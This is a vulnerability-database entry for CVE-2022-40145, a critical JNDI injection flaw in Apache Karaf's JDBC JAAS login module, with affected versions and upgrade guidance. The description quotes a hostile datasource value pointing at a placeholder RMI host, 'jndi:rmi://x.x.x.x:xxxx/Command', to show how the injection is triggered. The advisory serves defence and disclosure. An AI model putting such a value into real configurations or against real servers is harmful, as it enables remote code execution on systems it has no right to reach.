What’s Vulnerable › Vulnerabilities
CVE-2022-40145: Apache Karaf: JDBC JAAS LDAP injection
- Severity: critical (CVSS 9.8 v3.1)
- Exploited in the wild: not listed in CISA KEV
- EPSS: 2.6% probability of exploitation in the next 30 days
- Public exploit or detection template: none known
- Published: 2022-12-21 · updated 2026-06-17
- Weakness: CWE-20
Description
This vulnerable is about a potential code injection when an attacker has control of the target LDAP server using in the JDBC JNDI URL. The function jaas.modules.src.main.java.porg.apache.karaf.jass.modules.jdbc.JDBCUtils#doCreateDatasource use InitialContext.lookup(jndiName) without filtering. An user can modify `options.put(JDBCUtils.DATASOURCE, "osgi:" + DataSource.class.getName());` to `options.put(JDBCUtils.DATASOURCE,"jndi:rmi://x.x.x.x:xxxx/Command");` in JdbcLoginModuleTest#setup. This is vulnerable to a remote code execution (RCE) attack when a configuration uses a JNDI LDAP data source URI when an attacker has control of the target LDAP server.This issue affects all versions of Apache Karaf up to 4.4.1 and 4.3.7. We encourage the users to upgrade to Apache Karaf at least 4.4.2 or 4.3.8
Affected products
- Apache Software Foundation Apache Karaf: before 4.3.8; from 4.4.0 before 4.4.2 — fixed in 4.3.8, 4.4.2
How to fix
Upgrade to a fixed version: Apache Software Foundation Apache Karaf 4.3.8, 4.4.2. Check the vendor advisory for mitigations.
References
- https://karaf.apache.org/security/cve-2022-40145.txt
- https://karaf.apache.org/security/cve-2022-40145.txt
Get alerted when CVE-2022-40145 or the next vulnerability affects your stack